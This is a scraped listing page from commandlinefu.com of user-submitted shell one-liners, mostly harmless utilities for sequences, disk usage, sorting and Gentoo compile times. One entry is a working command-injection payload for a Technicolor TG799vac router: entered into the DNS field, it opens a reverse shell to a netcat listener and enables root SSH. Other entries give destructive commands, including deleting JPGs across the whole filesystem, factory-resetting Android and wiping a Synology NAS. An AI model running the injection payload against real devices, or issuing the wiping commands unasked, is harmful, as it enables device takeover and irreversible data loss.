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Delete all files by extension

This is a correction to https://www.commandlinefu.com/commands/view/22134 Use `-name` instead of `-iname`, because case-sensitivity is probably important when we're dealing with filenames. It's true that extensions are often capitalised (e.g., "something.JPG"), so choose whatever's appropriate. However, what is appropriate is the quoting of the name pattern, so the shell doesn't expand it incorrectly. Finally, `-delete` is clearer.
This is sample output - yours may be different.
0

find / -name "*.jpg" -delete

Xophmeister · 2018-11-19 11:11:20 0
Generate a sequence of numbers.

# for description type man seq Show Sample Output
This is sample output - yours may be different.
```
1
2
3
4
5
6
7
8
9
10
11
12
```
0

seq 12

flxndn · 2018-11-14 13:17:52 0
draw honeycomb
This is sample output - yours may be different.
4

seq -ws "\\__/" 99|fold -69|tr "0-9" " "

knoppix5 · 2018-11-13 06:39:37 0
draw mesh
This is sample output - yours may be different.
2

seq -s " \\_/" 256|tr -d "0-9"|fold -70

knoppix5 · 2018-11-12 23:25:25 0
Print a horizontal line

Replace the underscore with any other character. e.g. + or - or =
This is sample output - yours may be different.
1

printf "%`tput cols`s"|sed "s/ /_/g"

houghi001 · 2018-11-12 19:44:16 0
Produce 10 copies of the same string
This is sample output - yours may be different.
0

echo boo{,,,,,,,,,,}

wuziduzi · 2018-11-12 18:26:17 0
Sort by IP address
This is sample output - yours may be different.
0

sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4

wuziduzi · 2018-11-12 18:03:34 0
Show OS release incl version.

Show Sample Output
This is sample output - yours may be different.
```
Gentoo Base System release 2.6
```
0

grep -m1 -h [0-9] /etc/{*elease,issue} 2>/dev/null | head -1

wuziduzi · 2018-11-12 18:01:57 0
Print a horizontal line
This is sample output - yours may be different.
0

printf -v _hr "%*s" $(tput cols) && echo ${_hr// /${1--}}

wuziduzi · 2018-11-12 18:01:25 0
Echo string over and over until CTRL-C
This is sample output - yours may be different.
0

yes I am awesome

wuziduzi · 2018-11-12 17:57:52 0
Generate a sequence of numbers.

Uses bash shortcut to generate series, it works with letters too echo {A..H} echo {a..h} Be careful not to mix upper and lower case, you may encounter funny results : echo {z..A} z y x w v u t s r q p o n m l k j i h g f e d c b a ` _ ^ ] [ Z Y X W V U T S R Q P O N M L K J I H G F E D C B A Show Sample Output
This is sample output - yours may be different.
```
1 2 3 4 5 6 7 8 9 10 11 12
```
1

echo {1..12}

keltroth · 2018-11-12 14:09:26 0
Test sendmail

test if sendmail is installed and working. Show Sample Output
This is sample output - yours may be different.
```
[root@machine]# echo "Subject: test" | /usr/lib/sendmail -v user@domain.com
user@domain.com... Connecting to [127.0.0.1] via relay...
user@domain.com... Deferred: Connection refused by [127.0.0.1]
```
0

echo "Subject: test" | /usr/lib/sendmail -v me@domain.com

guillaume1306 · 2018-11-12 11:51:33 0
Find ASCII files and extract IP addresses
This is sample output - yours may be different.
0

1 find . -type f -exec grep -Iq . {} \; -exec grep -oE "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" {} /dev/null \;

wuziduzi · 2018-11-12 03:43:46 0
Show used disk space:
This is sample output - yours may be different.
0

df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $2} END {printf "%.0f GB\n", sum_used/1024/1024}'

wuziduzi · 2018-11-12 03:34:52 0
Show allocated disk space:
This is sample output - yours may be different.
0

df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $1} END {printf "%.0f GB\n", sum_used/1024/1024}'

wuziduzi · 2018-11-12 03:33:58 0
List all global top level modles, then remove ALL npm packages with xargs
This is sample output - yours may be different.
0

npm ls -gp --depth=0 | awk -F/ '/node_modules/ && !/\/npm$/ {print $NF}' | xargs npm -g rm; npm -g uninstall npm

wuziduzi · 2018-11-12 02:24:24 0
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuziduzi · 2018-11-12 02:02:43 0

Print compile time in seconds package by package (Gentoo Distros)

qlist -I | xargs qlop -t |sort -t" " -rnk2

wuziduzi · 2018-11-12 01:50:16 0

Calculate your total world compile time. (Gentoo Distros)

From Gentoo Forum, greetings to rudregues & steveL. Show Sample Output
This is sample output - yours may be different.
```
48h:4m:20s
```
0

qlist -I | xargs qlop -t | awk '{ if ($2 < 5400) secs += $2} END { printf("%dh:%dm:%ds\n", secs / 3600, (secs % 3600) / 60, secs % 60); }'

wuziduzi · 2018-11-12 01:45:37 0
Uninstall bloatware on your android device without root.

List all packages with: pm list packages|cut -d: -f2 Show Sample Output
This is sample output - yours may be different.
```
Success
```
0

pm uninstall --user 0 com.package.name

wuziduzi · 2018-11-12 01:41:40 0
Completely wipe all data on your Synology NAS and reinstall DSM. (BE CAREFUL)
This is sample output - yours may be different.
0

/usr/syno/sbin/./synodsdefault --factory-default

wuziduzi · 2018-11-12 01:34:30 0
Reinstall a Synology NAS without loosing any data from commandline.

Seen many questions how-to reinstall synology nas dsm without loosing data, here you go. Wait for a few min and then head over to http://nasip and setup your fresh installed nas. Show Sample Output
This is sample output - yours may be different.
```
Success.
Rebooting.
```
0

/usr/syno/sbin/./synodsdefault --reinstall

wuziduzi · 2018-11-12 01:31:11 0
Factory reset your android device via commandline.
This is sample output - yours may be different.
0

am broadcast -a android.intent.action.MASTER_CLEAR

wuziduzi · 2018-11-11 18:01:10 0
Find all file extension in current dir.
This is sample output - yours may be different.
0

find . -type f | perl -ne 'print $1 if m/\.([^.\/]+)$/' | sort -u

wuziduzi · 2018-11-11 01:09:42 0
Generate a sequence of numbers.
This is sample output - yours may be different.
0

echo {1..99}

wolfpup · 2018-11-11 01:04:22 0
1 2 3 > Last ›

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Find usb device

I often use it to find recently added ou removed device, or using find in /dev, or anything similar. Just run the command, plug the device, and wait to see him and only him

Create a mirror of a local folder, on a remote server

Create a exact mirror of the local folder "/root/files", on remote server 'remote_server' using SSH command (listening on port 22) (all files & folders on destination server/folder will be deleted)

send echo to socket network

this command will send a message to the socket 25 on host 192.168.1.2 in tcp. works on udp and icmp understand only IP address, not hostname. on the other side (192.168.1.2), you can listen to this socket and test if you receive the message. easy to diagnose a firewall problem or not.

How to run a command on a list of remote servers read from a file

dsh - Distributed shell, or dancer?s shell ;-) you can put your servers into /etc/dsh/machines.list than you don't have to serperate them by commata or group them in different files and only run commands for this groups dsh -M -c -a -- "apt-get update"

Convert seconds to [DD:][HH:]MM:SS

Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

Get the Volume labels all bitlocker volumes had before being encrypted

Get information of volume labels of bitlocker volumes, even if they are encrypted and locked (no access to filesystem, no password provided). Note that the volume labels can have spaces, but only if you name then before encryption. Renaming a bitlocker partition after being encrypted does not have the same effect as doing it before.

Perl Command Line Interpreter

Read, Evaluate, Print, Loop - REPL

Stream YouTube URL directly to mplayer.

This is the result of a several week venture without X. I found myself totally happy without X (and by extension without flash) and was able to do just about anything but watch YouTube videos... so this a the solution I came up with for that. I am sure this can be done better but this does indeed work... and tends to work far better than YouTube's ghetto proprietary flash player ;-) Replace $i with any YouTube ID you want and this will scrape the site for the _real_ URL to the full quality .FLV file on Youtube's server and will then will hand that over to mplayer (or vlc or whatever you want) to be streamed. In some browsers you can replace $i with just a % or put this in a shell script so all YouTube IDs can be handed directly off to your media player of choice for true streaming without the need for Flash or a downloader like clive. (I do however fully recommend clive if you wish to archive videos instead of streaming them) If any interest is shown I would be more than happy to provide similar commands for other sites. Most streaming flash players use similar logic to YouTube. Edit: 05/03/2011 - Updated line to work with current YouTube. It could be a lot prettier but I will probably follow up with another update when I figure out how to get rid of that pesky Grep. Sed should take that syntax... but it doesn't. Original (no longer working) command: mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s $youtube_url | sed -n "/watch_fullscreen/s;.*$video_id.\+$&title.*;\1;p")")

list block devices

Shows all block devices in a tree with descruptions of what they are.

AWS Route53 hosted zone export

Frustrated with the manual domain migration process AWS has, I unsuccessfully tried to install cli53, route53-transfer. I instead wrote this oneliner to ease the export (which is not supported via the AWS console ATM). The output can be easily pasted into the "Import Hosted Zone" dialog in Route53. SOA/NS records are excluded since they cannot be automatically imported.

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